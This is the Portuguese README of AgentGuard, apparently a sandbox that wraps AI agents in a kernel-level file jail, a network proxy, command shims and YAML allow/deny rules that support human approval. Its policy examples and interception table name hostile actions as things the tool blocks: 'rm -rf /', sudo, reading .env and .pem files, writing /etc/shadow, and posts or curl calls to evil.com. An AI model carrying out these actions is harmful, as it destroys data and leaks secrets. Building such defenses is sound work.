thodoristsampouris/agentguardSandbox de confiança zero para agentes de IA com prisão de sistema de arquivos em nível de kernel, proxy de rede transparente e mecanismo de política baseado em YAML para interceptar e controlar comandos shell, operações de arquivos e requisições de rede.
Sandbox de confiança zero para agentes de IA autônomos.
O AgentGuard envolve qualquer agente de IA (LangChain, CrewAI, AutoGen, scripts personalizados) com barreiras de segurança. Uma única mudança de comando:
# Antes (perigoso — agente tem acesso total ao sistema)
python my_agent.py
# Depois (em sandbox)
agentguard run -- python my_agent.py
O AgentGuard intercepta cada comando de shell, modificação de arquivo e requisição de rede que o agente faz. Ações seguras são automaticamente permitidas, ações perigosas são automaticamente bloqueadas, e tudo o mais solicita aprovação humana.
O AgentGuard possui quatro camadas de defesa que trabalham juntas:
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: Filesystem Jail (sandbox-exec no macOS) │
│ Aplicação a nível de kernel. Restringe escritas de │
│ arquivos e rede no nível de chamada de sistema. O agente │
│ não pode contornar do espaço do usuário. Bloqueia │
│ open() do Python, requests.post(), etc. │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: Network Proxy │
│ Proxy HTTP/HTTPS transparente. Cada chamada de rede que │
│ o agente faz é verificada contra a política. Permitir/ │
│ negar por destino com visibilidade total na TUI. │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: PATH Shims │
│ Shims de script shell que interceptam comandos como git, │
│ pip, curl, rm. Cada shim pergunta ao daemon por permissão │
│ antes de executar o binário real. │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: Policy Engine + Approval Daemon │
│ Regras baseadas em YAML avaliam cada ação interceptada. │
│ Permite automaticamente comandos seguros, bloqueia │
│ automaticamente os perigosos, e solicita aprovação │
│ humana para todo o resto. │
└─────────────────────────────────────────────────────────────┘
Nenhuma camada isolada é o limite de segurança. Elas trabalham juntas — defesa em profundidade.
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Ambos os binários devem estar no mesmo diretório.
agentguard init
Isso cria .agentguard/policy.yaml no diretório atual. Edite-o para atender suas necessidades.
agentguard run -- python my_agent.py
A TUI assume o terminal e mostra:
Para ferramentas interativas como Claude Code que precisam do terminal:
agentguard run --headless -- claude
O agente obtém o terminal diretamente. O AgentGuard é executado silenciosamente em segundo plano. Todos os eventos são registrados em ~/.agentguard/logs/headless.log. Monitore em outro terminal:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> Use um arquivo de política específico
--headless Sem TUI — agente obtém o terminal
--default-allow Permite automaticamente decisões PROMPT no modo headless (padrão: nega automaticamente)
--no-sandbox Desabilita sandbox-exec (shims e proxy ainda ativos)
agentguard init Cria um arquivo de política padrão
agentguard version Exibe a versão
As políticas são arquivos YAML que definem o que o agente pode e não pode fazer. O AgentGuard verifica três locais (nesta ordem):
./.agentguard/policy.yaml (local ao projeto)~/.agentguard/policy.yaml (global do usuário)version: 1
deny:
# Bloquear comandos perigosos
- command: "rm"
args: "-rf *"
reason: "Exclusão recursiva forçada é muito perigosa"
- command: "sudo"
args: "*"
reason: "Escalação de privilégio não é permitida"
- command: "chmod"
args: "777 *"
reason: "Permissões de escrita global são perigosas"
# Bloquear leitura de arquivos sensíveis (aplicado pelo sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Não permitir que o agente leia arquivos .env"
- file:
path: "*.pem"
action: "read"
reason: "Não permitir que o agente leia chaves privadas"
allow:
# Comandos seguros somente leitura
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Git somente leitura
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Permitir escritas na área de trabalho
- file:
path: "/tmp/workspace/**"
action: "write"
# Permitir endpoints de API específicos
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) — verificadas em terceiro lugar. Atuam como negação padrão.Regras de comando — correspondem a comandos de shell pelo nome e padrão de argumento:
- command: "git"
args: "push *"
reason: "Push requer aprovação"
Regras de arquivo — correspondem a operações de arquivo (aplicadas pelo sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" ou "write"
reason: "Proteger segredos"
Regras de rede — correspondem a destinos de rede (aplicadas pelo proxy + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Use * como curinga nos argumentos de comando, caminhos de arquivo e destinos de rede.
| Tecla | Ação | Quando |
|---|---|---|
Y | Permitir a requisição pendente | Solicitação de aprovação visível |
N | Negar a requisição pendente | Solicitação de aprovação visível |
A | Permitir + lembrar para esta sessão ("Sempre Permitir") | Solicitação de aprovação visível |
B | Negar + lembrar para esta sessão ("Bloquear para Sempre") | Solicitação de aprovação visível |
Tab | Alternar painel stdout/stderr do agente | Sempre |
Seta p/ cima/baixo | Rolar o fluxo de atividade | Sempre |
Q | Sair (mata o agente) | Sempre |
| Ação do agente | Shims | Proxy | sandbox-exec |
|---|---|---|---|
subprocess.run(["rm", "-rf", "/"]) | Sim | - | - |
subprocess.run(["git", "push"]) | Sim | - | - |
requests.post("https://evil.com") | - | Sim | Sim |
urllib.request.urlopen("https://api.com") | - | Sim | Sim |
open(".env", "r") | - | - | Sim |
open("/etc/shadow", "w") | - | - | Sim |
/usr/bin/curl https://evil.com (caminho absoluto) | - | Sim | Sim |
agentguard/
├── cmd/
│ ├── agentguard/ # Binário principal da CLI
│ └── agentguard-check/ # Binário auxiliar do shim
├── internal/
│ ├── policy/ # Motor de política (parsing YAML, avaliação de regras)
│ ├── events/ # Sistema de eventos (log de auditoria JSONL, pub/sub)
│ ├── daemon/ # Daemon central (socket Unix, fila de aprovação)
│ │ └── client/ # Biblioteca cliente para shims
│ ├── shim/ # Gerador de shim (interceptação baseada em PATH)
│ ├── proxy/ # Proxy de rede transparente
│ ├── spawner/ # Orquestração + integração com sandbox do macOS
│ └── ui/tui/ # Interface de terminal (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Arquivo de política de referência
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
| Componente | Pacote | Propósito |
|---|---|---|
| Motor de Política | internal/policy | Analisa regras YAML, avalia requisições → PERMITIR / NEGAR / SOLICITAR |
| Sistema de Eventos | internal/events | Log de auditoria JSONL somente anexação + pub/sub em tempo real para TUI |
| Daemon | internal/daemon | Servidor de socket Unix, fila de aprovação com timeouts, gerenciamento de sessão |
| TUI | internal/ui/tui | Interface de terminal Bubble Tea com fluxo de atividade e modal de aprovação |
| Gerador de Shim | internal/shim | Gera shims de script shell, resolve caminhos de binários reais |
| Proxy de Rede | internal/proxy | Proxy HTTP/HTTPS transparente aplicando política por destino |
| Spawner | internal/spawner | Orquestra tudo: política → daemon → shims → proxy → sandbox → agente → TUI |
| Sandbox macOS | internal/spawner/jail_darwin.go | sandbox-exec com perfis Seatbelt para aplicação a nível de kernel |
Cada ação interceptada é registrada em ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Consulte com ferramentas padrão:
# Todas as ações negadas hoje
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# Todas as requisições de rede
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Comandos que exigiram aprovação humana
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
| Plataforma | Shims | Proxy | sandbox-exec | Negar leitura de arquivo |
|---|---|---|---|---|
| macOS (Apple Silicon) | Sim | Sim | Sim | Sim |
| macOS (Intel) | Sim | Sim | Sim | Sim |
| Linux | Sim | Sim | Não (futuro: namespaces + seccomp) | Não |
| Windows | Sim | Sim | Não (futuro: Job Objects) | Não |
Modelo de ameaça: O agente não é confiável. Ele pode tentar:
rm -rf /, sudo).env, chaves privadas)O que o AgentGuard impede:
.env, .pem, etc.)filepath.CleanO que o AgentGuard NÃO impede (limitações conhecidas):
ctypes/cffi (sandbox-exec também as bloqueia no macOS)api.anthropic.com, o agente pode enviar dados para lá)go test ./... -race
O projeto tem mais de 140 testes cobrindo:
jail_darwin.go — sandbox-exec do macOS (compilado apenas no macOS)jail_noop.go — modo fallback apenas com shim (compilado no Linux/Windows)sandbox_monitor_darwin.go — monitoramento de log do sistema macOS para violações de sandboxsandbox_monitor_noop.go — operação vazia em plataformas que não são macOSVeja LICENSE.